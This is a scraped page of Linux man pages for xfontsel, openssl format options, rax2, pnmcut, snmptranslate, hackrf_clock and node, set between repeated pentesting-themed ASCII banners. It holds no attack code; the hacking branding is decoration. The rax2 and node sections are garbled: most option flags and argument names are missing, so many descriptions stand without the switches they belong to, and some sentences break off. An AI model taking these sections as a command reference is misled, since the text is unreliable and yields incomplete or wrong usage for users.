The -scaled option enables the ability to select scaled fonts at arbitrary pixel or point sizes.

INTERACTIONS

Clicking any pointer button in one of the XLFD field names will pop up a menu of the currently-known possibilities for that field. If previous choices of other fields were made, only values for fonts which matched the previously selected fields will be selectable; to make other values selectable, you must deselect some other field(s) by choosing the ``*’’ entry in that field. Unselectable values may be omitted from the menu entirely as a configuration option; see the ShowUnselectable resource, below. Whenever any change is made to a field value, xfontsel will assert ownership of the PRIMARY_FONT selection. Other applications (see, e.g., xterm**) may then retrieve the selected font specification.**

Scalable fonts come back from the server with zero for the pixel size, point size, and average width fields. Selecting a font name with a zero in these positions results in an implementation-dependent size. Any pixel or point size can be selected to scale the font to a particular size. Any average width can be selected to anamorphically scale the font (although you may find this challenging given the size of the average width menu).

Clicking the left pointer button in the select widget will cause the currently selected font name to become the PRIMARY text selection as well as the PRIMARY_FONT selection. This then allows you to paste the string into other applications. The select button remains highlighted to remind you of this fact, and de-highlights when some other application takes the PRIMARY selection away. The select widget is a toggle; pressing it when it is highlighted will cause xfontsel to release the selection ownership and de-highlight the widget. Activating the select widget twice is the only way to cause xfontsel to release the PRIMARY_FONT selection.

RESOURCES

The application class is XFontSel. Most of the user-interface is configured in the app-defaults file; if this file is missing a warning message will be printed to standard output and the resulting window will be nearly incomprehensible.

Most of the significant parts of the widget hierarchy are documented in /etc/X11/app-defaults/XFontSel,

Application specific resources:

cursor (class Cursor)
Specifies the cursor for the application window.

pattern (class Pattern)
Specifies the font name pattern for selecting a subset of available fonts. Equivalent to the -pattern option. Most useful patterns will contain at least one field delimiter; e.g. ``*-m-*’’ for monospaced fonts.

pixelSizeList (class PixelSizeList)
Specifies a list of pixel sizes to add to the pixel size menu, so that scalable fonts can be selected at those pixel sizes. The default pixelSizeList contains 7, 30, 40, 50, and 60.

pointSizeList (class PointSizeList)
Specifies a list of point sizes (in units of tenths of points) to add to the point size menu, so that scalable fonts can be selected at those point sizes. The default pointSizeList contains 250, 300, 350, and 400.

printOnQuit (class PrintOnQuit)
If True the currently selected font name is printed to standard output when the quit button is activated. Equivalent to the -print option.

sampleText (class Text)
The sample 1-byte text to use for linearly indexed fonts. Each glyph index is a single byte, with newline separating lines.

sampleText16 (class Text16)
The sample 2-byte text to use for matrix-encoded fonts. Each glyph index is two bytes, with a 1-byte newline separating lines.

scaledFonts (class ScaledFonts)
If True then selection of arbitrary pixel and point sizes for scalable fonts is enabled.

Widget specific resources:

showUnselectable (class ShowUnselectable)
Specifies, for each field menu, whether or not to show values that are not currently selectable, based upon previous field selections. If shown, the unselectable values are clearly identified as such and do not highlight when the pointer is moved down the menu. The full name of this resource is fieldN.menu.options.showUnselectable, class MenuButton.SimpleMenu.Options.ShowUnselectable; where N is replaced with the field number (starting with the left-most field numbered 0). The default is True for all but field 11 (average width of characters in font) and False for field 11. If you never want to see unselectable entries, ‘*menu.options.showUnselectable:False’ is a reasonable thing to specify in a resource file.

FILES

$XFILESEARCHPATH/XFontSel

SEE ALSO

xrdb(1), xfd(1)

BUGS

Sufficiently ambiguous patterns can be misinterpreted and lead to an initial selection string which may not correspond to what the user intended and which may cause the initial sample text output to fail to match the proffered string. Selecting any new field value will correct the sample output, though possibly resulting in no matching font.

Should be able to return a FONT for the PRIMARY selection, not just a STRING.

Any change in a field value will cause xfontsel to assert ownership of the PRIMARY_FONT selection. Perhaps this should be parameterized.

When running on a slow machine, it is possible for the user to request a field menu before the font names have been completely parsed. An error message indicating a missing menu is printed to stderr but otherwise nothing bad (or good) happens.

The average-width menu is too large to be useful.

AUTHOR

Ralph R. Swick, Digital Equipment Corporation/MIT Project Athena

Mark Leisher <[email protected]> added the support for the UTF-8 sample text.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1241 - Linux cli command openssl-format-optionsssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-format-optionsssl and provides detailed information about the command openssl-format-optionsssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-format-optionsssl.

NAME 🖥️ openssl-format-optionsssl 🖥️

format-options - OpenSSL command input and output format options

SYNOPSIS

openssl command [ options … ] [ parameters … ]

DESCRIPTION

Several OpenSSL commands can take input or generate output in a variety of formats.

Since OpenSSL 3.0 keys, single certificates, and CRLs can be read from files in any of the DER, PEM or P12 formats. Specifying their input format is no more needed and the openssl commands will automatically try all the possible formats. However if the DER or PEM input format is specified it will be enforced.

In order to access a key via an engine the input format ENGINE may be used; alternatively the key identifier in the <uri> argument of the respective key option may be preceded by org.openssl.engine:. See “Engine Options” in openssl (1) for an example usage of the latter.

OPTIONS

Format Options

The options to specify the format are as follows. Refer to the individual man page to see which options are accepted.

-inform format, -outform format
The format of the input or output streams.

-keyform format
Format of a private key input source.

-CRLform format
Format of a CRL input source.

Format Option Arguments

The possible format arguments are described below. Both uppercase and lowercase are accepted.

The list of acceptable format arguments, and the default, is described in each command documentation.

DER
A binary format, encoded or parsed according to Distinguished Encoding Rules (DER) of the ASN.1 data language.

ENGINE
Used to specify that the cryptographic material is in an OpenSSL engine. An engine must be configured or specified using the -engine option. A password or PIN may be supplied to the engine using the -passin option.

P12
A DER-encoded file containing a PKCS#12 object. It might be necessary to provide a decryption password to retrieve the private key.

PEM
A text format defined in IETF RFC 1421 and IETF RFC 7468. Briefly, this is a block of base-64 encoding (defined in IETF RFC 4648), with specific lines used to mark the start and end: Text before the BEGIN line is ignored. —– BEGIN object-type —– OT43gQKBgQC/2OHZoko6iRlNOAQ/tMVFNq7fL81GivoQ9F1U0Qr+DH3ZfaH8eIkX xT0ToMPJUzWAn8pZv0snA0um6SIgvkCuxO84OkANCVbttzXImIsL7pFzfcwV/ERK UM6j0ZuSMFOCr/lGPAoOQU0fskidGEHi1/kW+suSr28TqsyYZpwBDQ== —– END object-type —– Text after the END line is also ignored The object-type must match the type of object that is expected. For example a BEGIN X509 CERTIFICATE will not match if the command is trying to read a private key. The types supported include: ANY PRIVATE KEY CERTIFICATE CERTIFICATE REQUEST CMS DH PARAMETERS DSA PARAMETERS DSA PUBLIC KEY EC PARAMETERS EC PRIVATE KEY ECDSA PUBLIC KEY ENCRYPTED PRIVATE KEY PARAMETERS PKCS #7 SIGNED DATA PKCS7 PRIVATE KEY PUBLIC KEY RSA PRIVATE KEY SSL SESSION PARAMETERS TRUSTED CERTIFICATE X509 CRL X9.42 DH PARAMETERS The following legacy object-type’s are also supported for compatibility with earlier releases: DSA PRIVATE KEY NEW CERTIFICATE REQUEST RSA PUBLIC KEY X509 CERTIFICATE

SMIME
An S/MIME object as described in IETF RFC 8551. Earlier versions were known as CMS and are compatible. Note that the parsing is simple and might fail to parse some legal data.

COPYRIGHT

Copyright 2000-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1242 - Linux cli command rax2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rax2 and provides detailed information about the command rax2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rax2.

This command is part of the radare project.

Rax2 is a powerful calculator within the Radare2 suite, primarily used for numerical system conversions, encoding and decoding C strings, hexpairs, and base64, essential for binary analysis and reverse engineering tasks.

The most common numerical bases include binary (base 2) for direct machine code interaction, hexadecimal (base 16) for memory addresses and compact data representation, and decimal (base 10) for human-readable calculations and interpretations.

Show ASCII table

Force output mode (numeric base)

f floating point 2 binary 3 ternary 8 octal 10 decimal 16 hexadecimal

Show hexadecimal C string from integer value

Dump stdin to C array in stdout (xxd replacement)

Print the result in decimal (base 10)

Decode the input data using base64

Swap endianness

Encode the input data using base64

Interpret the input number as a 32bit dword and display it using IEEE 754 standard for floating point arithmetic

Read C strings from stdin and output in hexpairs. Useful to load shellcodes

Show usage help message

Keep the same base as the input data

Show randomart key asciiart for values or hexpairs

Convert a string into a hash

Convert LONG to/from IP ADDRESS

Show the output in json format, the same as the r2 `?j 0x804` command.

Append newline to the decoded output for human friendlyness

Convert from octal string to char (rax2 -o 162 62)

Be quiet. Show less information or drop the superfluous details in the output. For example: rax2 -qC

Show the same output as the r2’s `? 0x804` command. When combined with -S (-rS) it will print r2 commands to write the actual binary into radare2

Convert from hex pairs string to character (rax2 -s 43 4a 50)

Convert from character to hex string (rax2 -S C J P)

Convert epoch timestamp to human readable date format

Convert given value to human readable units format

Show program version

Display the result as 16bit signed integer value

Show hexpairs from integer value

Convert a bit stream (an arbitrary sequence of 0 and 1 of any length) to hexadecimal. The result can be larger than 64bits

Convert from character string to binary (rax2 -z hello)

Convert from binary string to string (rax2 -l 01000101)

Available variable types are:

int -> hex rax2 10 hex -> int rax2 0xa -int -> hex rax2 -77 -hex -> int rax2 0xffffffb3 int -> bin rax2 b30 bin -> int rax2 1010d float -> hex rax2 3.33f hex -> float rax2 Fx40551ed8 oct -> hex rax2 35o hex -> oct rax2 Ox12 (O is a letter) bin -> hex rax2 1100011b hex -> bin rax2 Bx63

With no arguments, rax2 reads values from stdin. You can pass one or more values as arguments.

$ rax2 33 0x41 0101b 0x21 65 0x5

You can do ‘unpack’ hexpair encoded strings easily.

$ rax2 -s 41 42 43 ABC

It supports some math operations:

$ rax2 1+1 “0x5*101b+5” 2 30

Encode and decode binary file using base64:

$ rax2 -E < /bin/ls > ls.b64 $ rax2 -D < ls.b64 > ls

$ cmp /bin/ls ls && echo $? 0

Use -z/-Z to convert between binary and string:

$ rax2 -z hello 001100000111100000110001001100010011001000110011 $ rax2 -Z 0110100001100101011011000110110001101111 hello

It is a very useful tool for scripting, so you can read floating point values, or get the integer offset of a jump or a stack delta when analyzing programs.

https://www.radare.org

Written by pancake <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1243 - Linux cli command pnmcut

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmcut and provides detailed information about the command pnmcut, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmcut.

.

NAME 🖥️ pnmcut 🖥️

replaced by pamcut

DESCRIPTION

This program is part of Netpbm(1) .

pnmcut was obsoleted by pamcut(1) , introduced with Netpbm 9.20 (May 2001). pamcut is backward compatible with pnmcut, plus adds many additional functions, including the ability to process PAM images.

pnmcut remained in the Netpbm package until Netpbm 10.46 (March 2009) because of hopes that it had fewer bugs than pamcut because of its age. But now it would just be clutter.

In Netpbm before 9.20, use the manual for pamcut with pnmcut. Features that are in pamcut but not pnmcut are indicated by statements that they didn’t exist before 9.20.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmcut.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1244 - Linux cli command snmptranslate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmptranslate and provides detailed information about the command snmptranslate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmptranslate.

NAME 🖥️ snmptranslate 🖥️

translate MIB OID names between numeric and textual forms

SYNOPSIS

snmptranslate [OPTIONS] OID [OID]…
snmptranslate [OPTIONS] -

DESCRIPTION

snmptranslate is an application that translates one or more SNMP object identifier values from their symbolic (textual) forms into their numerical forms (or vice versa).

OID is either a numeric or textual object identifier.

The special - argument is used to translate multiple object IDs in one run. Input is taken from stdin, and output is written to stdout. The input format can be a single object ID per line, or can be the output of snmpwalk or snmpget .

OPTIONS

-D[TOKEN[,…]]**
Turn on debugging output for the given TOKEN(s). Try ALL for extremely verbose output.

-h
Display a brief usage message and then exit.

-m* MIBLIST*
Specifies a colon separated list of MIB modules to load for this application. This overrides the environment variable MIBS.

The special keyword ALL is used to specify all modules in all directories when searching for MIB files. Every file whose name does not begin with “.” will be parsed as if it were a MIB file.

-M* DIRLIST*
Specifies a colon separated list of directories to search for MIBs. This overrides the environment variable MIBDIRS.

-T* TRANSOPTS*
Provides control over the translation of the OID values. The following TRANSOPTS are available:

-TB
Print all matching objects for a regex search.

-Td
Print full details of the specified OID.

-Tp
Print a graphical tree, rooted at the specified OID.

-Ta
Dump the loaded MIB in a trivial form.

-Tl
Dump a labeled form of all objects.

-To
Dump a numeric form of all objects.

-Ts
Dump a symbolic form of all objects.

-Tt
Dump a tree form of the loaded MIBs (mostly useful for debugging).

-Tz
Dump a numeric and labeled form of all objects (compatible with MIB2SCHEMA format).

-V
Display version information for the application and then exit.

-w* WIDTH*
Specifies the width of -Tp and -Td output. The default is very large.

In addition to the above options, snmptranslate takes the OID input (-I), MIB parsing (-M) and OID output (-O) options described in the INPUT OPTIONS, MIB PARSING OPTIONS and OUTPUT OPTIONS sections of the snmpcmd(1) manual page.

EXAMPLES

  • snmptranslate -On -IR sysDescr
    will translate “sysDescr” to a more qualified form:

    system.sysDescr

  • snmptranslate -Onf -IR sysDescr
    will translate “sysDecr” to:

    .iso.org.dod.internet.mgmt.mib-2.system.sysDescr

  • snmptranslate -Td -OS system.sysDescr
    will translate “sysDecr” into:

    SNMPv2-MIB::sysDescr
    sysDescr OBJECT-TYPE
      -- FROM SNMPv2-MIB
      -- TEXTUAL CONVENTION DisplayString
      SYNTAX OCTET STRING (0..255)
      DISPLAY-HINT "255a"
      MAX-ACCESS read-only
      STATUS current
      DESCRIPTION "A textual description of the entity. This
                   value should include the full name and
                   version identification of the system's
                   hardware type, software operating-system,
                   and networking software."
    ::= { iso(1) org(3) dod(6) internet(1) mgmt(2) mib-2(1) system(1) 1 }
    
  • snmptranslate -Tp -OS system
    will print the following tree:

    +--system(1)
       |
       +-- -R-- String    sysDescr(1)
       |        Textual Convention: DisplayString
       |        Size: 0..255
       +-- -R-- ObjID     sysObjectID(2)
       +-- -R-- TimeTicks sysUpTime(3)
       +-- -RW- String    sysContact(4)
       |        Textual Convention: DisplayString
       |        Size: 0..255
       +-- -RW- String    sysName(5)
       |        Textual Convention: DisplayString
       |        Size: 0..255
       +-- -RW- String    sysLocation(6)
       |        Textual Convention: DisplayString
       |        Size: 0..255
       +-- -R-- Integer   sysServices(7)
       +-- -R-- TimeTicks sysORLastChange(8)
       |        Textual Convention: TimeStamp
       |
       +--sysORTable(9)
          |
          +--sysOREntry(1)
             |
             +-- ---- Integer   sysORIndex(1)
             +-- -R-- ObjID     sysORID(2)
             +-- -R-- String    sysORDescr(3)
             |        Textual Convention: DisplayString
             |        Size: 0..255
             +-- -R-- TimeTicks sysORUpTime(4)
                      Textual Convention: TimeStamp
    
  • snmptranslate -Ta | head
    will produce the following dump:

    dump DEFINITIONS ::= BEGIN
    org ::= { iso 3 }
    dod ::= { org 6 }
    internet ::= { dod 1 }
    directory ::= { internet 1 }
    mgmt ::= { internet 2 }
    experimental ::= { internet 3 }
    private ::= { internet 4 }
    security ::= { internet 5 }
    snmpV2 ::= { internet 6 }
    
  • snmptranslate -Tl | head
    will produce the following dump:

    .iso(1).org(3)
    .iso(1).org(3).dod(6)
    .iso(1).org(3).dod(6).internet(1)
    .iso(1).org(3).dod(6).internet(1).directory(1)
    .iso(1).org(3).dod(6).internet(1).mgmt(2)
    .iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1)
    .iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1)
    .iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysDescr(1)
    .iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysObjectID(2)
    .iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysUpTime(3)
    
  • snmptranslate -To | head
    will produce the following dump

    .1.3
    .1.3.6
    .1.3.6.1
    .1.3.6.1.1
    .1.3.6.1.2
    .1.3.6.1.2.1
    .1.3.6.1.2.1.1
    .1.3.6.1.2.1.1.1
    .1.3.6.1.2.1.1.2
    .1.3.6.1.2.1.1.3
    
  • snmptranslate -Ts | head
    will produce the following dump

    .iso.org
    .iso.org.dod
    .iso.org.dod.internet
    .iso.org.dod.internet.directory
    .iso.org.dod.internet.mgmt
    .iso.org.dod.internet.mgmt.mib-2
    .iso.org.dod.internet.mgmt.mib-2.system
    .iso.org.dod.internet.mgmt.mib-2.system.sysDescr
    .iso.org.dod.internet.mgmt.mib-2.system.sysObjectID
    .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime
    
  • snmptranslate -Tt | head
    will produce the following dump

      org(3) type=0
        dod(6) type=0
          internet(1) type=0
            directory(1) type=0
            mgmt(2) type=0
              mib-2(1) type=0
                system(1) type=0
                  sysDescr(1) type=2 tc=4 hint=255a
                  sysObjectID(2) type=1
                  sysUpTime(3) type=8
    
  • snmptranslate -OX -
    with the following input:

    SNMPv2-SMI::mib-2.14.1.1.0 = IpAddress: 192.0.2.1
    SNMPv2-SMI::mib-2.14.1.2.0 = INTEGER: 1
    SNMPv2-SMI::mib-2.14.1.3.0 = INTEGER: 2
    

    will produce the following output:

    OSPF-MIB::ospfRouterId.0 = IpAddress: 192.0.2.1
    OSPF-MIB::ospfAdminStat.0 = INTEGER: 1
    OSPF-MIB::ospfVersionNumber.0 = INTEGER: 2
    

SEE ALSO

snmpcmd(1), variables(5), RFC 2578-2580.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1245 - Linux cli command hackrf_clock

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_clock and provides detailed information about the command hackrf_clock, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_clock.

NAME 🖥️ hackrf_clock 🖥️

clock configuration utility

DESCRIPTION

hackrf_clock - HackRF clock configuration utility Usage:

-h, –help: this help

-r, –read <clock_num>: read settings for clock_num

-a, –all: read settings for all clocks

-o, –clkout <clkout_enable>: enable/disable CLKOUT

-d, –device <serial_number>: Serial number of desired HackRF.

EXAMPLES

hackrf_clock -r 3 : prints settings for CLKOUT

Usage:

-h, –help: this help

-r, –read <clock_num>: read settings for clock_num

-a, –all: read settings for all clocks

-o, –clkout <clkout_enable>: enable/disable CLKOUT

-d, –device <serial_number>: Serial number of desired HackRF.

hackrf_clock -r 3 : prints settings for CLKOUT

SEE ALSO

The primary source of documentation is the wiki on github:

https://github.com/mossmann/hackrf/wiki

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1246 - Linux cli command node

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command node and provides detailed information about the command node, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the node.

Node.js is a set of libraries for JavaScript which allows it to be used outside of the browser. It is primarily focused on creating simple, easy-to-build network clients and servers.

Execute

without arguments to start a REPL.

Alias for stdin, analogous to the use of - in other command-line utilities. The executed script is read from stdin, and remaining arguments are passed to the script.

Indicate the end of command-line options. Pass the rest of the arguments to the script.

If no script filename or eval/print script is supplied prior to this, then the next argument will be used as a script filename.

Aborting instead of exiting causes a core file to be generated for analysis.

Print source-able bash completion script for Node.js.

Use custom conditional exports conditions.

Start the V8 CPU profiler on start up, and write the CPU profile to disk before exit. If

is not specified, the profile will be written to the current working directory with a generated file name.

The directory where the CPU profiles generated by

will be placed. The default value is controlled by the

command-line option.

The sampling interval in microseconds for the CPU profiles generated by

The default is

File name of the V8 CPU profile generated with

Set the directory for all diagnostic output files. Default is current working directory. Set the directory to which all diagnostic output files will be written to. Defaults to current working directory. Affects the default output directory of:

Disable the `Object.prototype.__proto__` property. If

is `delete`, the property will be removed entirely. If

is `throw`, accesses to the property will throw an exception with the code `ERR_PROTO_ACCESS`.

Make built-in language features like `eval` and `new Function` that generate code from strings throw an exception instead. This does not affect the Node.js `vm` module.

Enable FIPS-compliant crypto at startup. Requires Node.js to be built with

Enable Source Map V3 support for stack traces.

Interpret as either ES modules or CommonJS modules input via –eval or STDIN, when –input-type is unspecified;

Expose the CustomEvent on the global scope.

Expose the Web Crypto API on the global scope.

Enable experimental ES modules support for import.meta.resolve().

Specify the

to use as a custom module loader.

Enable experimental support for loading modules using `import` over `https:`.

Use the specified file as a security policy.

Use this flag to enable ShadowRealm support.

Enable code coverage in the test runner.

Disable experimental support for the Fetch API.

Disable top-level await keyword support in REPL.

Select extension resolution algorithm for ES Modules; either ’explicit’ (default) or ’node'.

Enable experimental ES module support in VM module.

Enable experimental WebAssembly System Interface support. This flag is no longer required as WASI is enabled by default.

Enable experimental WebAssembly module support.

Disable loading native addons that are not context-aware.

Force FIPS-compliant crypto on startup (Cannot be disabled from script code). Same requirements as

Enable experimental frozen intrinsics support.

Generate heap snapshot when the V8 heap usage is approaching the heap limit. No more than the specified number of snapshots will be generated.

Generate heap snapshot on specified signal.

Start the V8 heap profiler on start up, and write the heap profile to disk before exit. If

is not specified, the profile will be written to the current working directory with a generated file name.

The directory where the heap profiles generated by

will be placed. The default value is controlled by the

command-line option.

The average sampling interval in bytes for the heap profiles generated by

The default is

File name of the V8 heap profile generated with

Specify ICU data load path. Overrides

Set the module resolution type for input via –eval, –print or STDIN.

Activate inspector on

and break at start of user script.

Set the

to be used when the inspector is activated.

Specify how the inspector WebSocket URL is exposed. Valid values are

and

Default is

Activate inspector on

Default is

V8 Inspector integration allows attaching Chrome DevTools and IDEs to Node.js instances for debugging and profiling. It uses the Chrome DevTools Protocol.

Use an insecure HTTP parser that accepts invalid HTTP headers. This may allow interoperability with non-conformant HTTP implementations. It may also allow request smuggling and other HTTP attacks that rely on invalid headers being accepted. Avoid using this option.

Disable runtime allocation of executable memory. This may be required on some platforms for security reasons. It can also reduce attack surface on other platforms, but the performance impact may be severe.

This flag is inherited from V8 and is subject to change upstream. It may disappear in a non-semver-major release.

Specify the maximum size of HTTP headers in bytes. Defaults to 16 KiB.

This option is a no-op. It is kept for compatibility.

Silence deprecation warnings.

Hide extra information on fatal exception that causes exit.

Disable runtime checks for `async_hooks`. These will still be enabled dynamically when `async_hooks` is enabled.

Disable the `node-addons` exports condition as well as disable loading native addons. When `–no-addons` is specified, calling `process.dlopen` or requiring a native C++ addon will fail and throw an exception.

Do not search modules from global paths.

Silence all process warnings (including deprecations).

Enable extra debug checks for memory leaks in Node.js internals. This is usually only useful for developers debugging Node.js itself.

Load an OpenSSL configuration file on startup. Among other uses, this can be used to enable FIPS-compliant crypto if Node.js is built with

Emit pending deprecation warnings.

Instructs Node.js to error prior to running any code if the policy does not have the specified integrity. It expects a Subresource Integrity string as a parameter.

Instructs the module loader to preserve symbolic links when resolving and caching modules other than the main module.

Instructs the module loader to preserve symbolic links when resolving and caching the main module.

Generate V8 profiler output.

Process V8 profiler output generated using the V8 option

Write process warnings to the given

instead of printing to stderr.

Write

in a compact format, single-line JSON.

Location at which the

will be generated. The `file` name may be an absolute path. If it is not, the default directory it will be written to is controlled by the

command-line option.

Name of the file to which the

will be written.

Enables the

to be triggered on fatal errors (internal errors within the Node.js runtime such as out of memory) that leads to termination of the application. Useful to inspect various diagnostic data elements such as heap, stack, event loop state, resource consumption etc. to reason about the fatal error.

Enables

to be generated upon receiving the specified (or predefined) signal to the running Node.js process. Default signal is SIGUSR2.

Sets or resets the signal for

generation (not supported on Windows). Default signal is SIGUSR2.

Enables

to be generated on un-caught exceptions. Useful when inspecting JavaScript stack in conjunction with native stack and other runtime environment data.

Specify the size of the OpenSSL secure heap. Any value less than 2 disables the secure heap. The default is 0. The value must be a power of two.

Specify the minimum allocation from the OpenSSL secure heap. The default is 2. The value must be a power of two.

Starts the Node.js command line test runner.

